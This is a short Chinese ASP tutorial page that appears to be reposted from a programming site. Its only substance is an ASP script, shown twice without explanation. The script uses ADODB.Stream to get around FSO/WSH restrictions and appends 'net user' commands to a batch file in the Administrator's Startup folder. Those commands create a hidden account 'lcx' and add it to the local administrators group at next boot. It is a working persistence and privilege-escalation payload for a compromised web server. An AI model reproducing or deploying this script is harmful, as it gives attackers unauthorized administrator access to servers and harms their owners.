跨越fso、wsh、 application写文件
跨越fso、wsh、 application写文件
发布时间:2016-12-29 来源:查字典编辑
摘要:

<%

on error resume next

dim lcx

set lcx=server.CreateObject("Adodb.Stream")

lcx.Open

lcx.Type=2

lcx.CharSet="gb2312"

lcx.LoadFromFile "C:Documents and SettingsAdministrator「开始」菜单程序启动cook.bat"

lcx.Position=lcx.Size

lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"

lcx.SaveToFile "C:Documents and SettingsAdministrator「开始」菜单程序启动cook.bat",2

lcx.Close

set lcx=nothing

%> <%

on error resume next

dim lcx

set lcx=server.CreateObject("Adodb.Stream")

lcx.Open

lcx.Type=2

lcx.CharSet="gb2312"

lcx.LoadFromFile "C:Documents and SettingsAdministrator「开始」菜单程序启动cook.bat"

lcx.Position=lcx.Size

lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"

lcx.SaveToFile "C:Documents and SettingsAdministrator「开始」菜单程序启动cook.bat",2

lcx.Close

set lcx=nothing

%>

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新ASP教程学习
热门ASP教程学习
编程开发子分类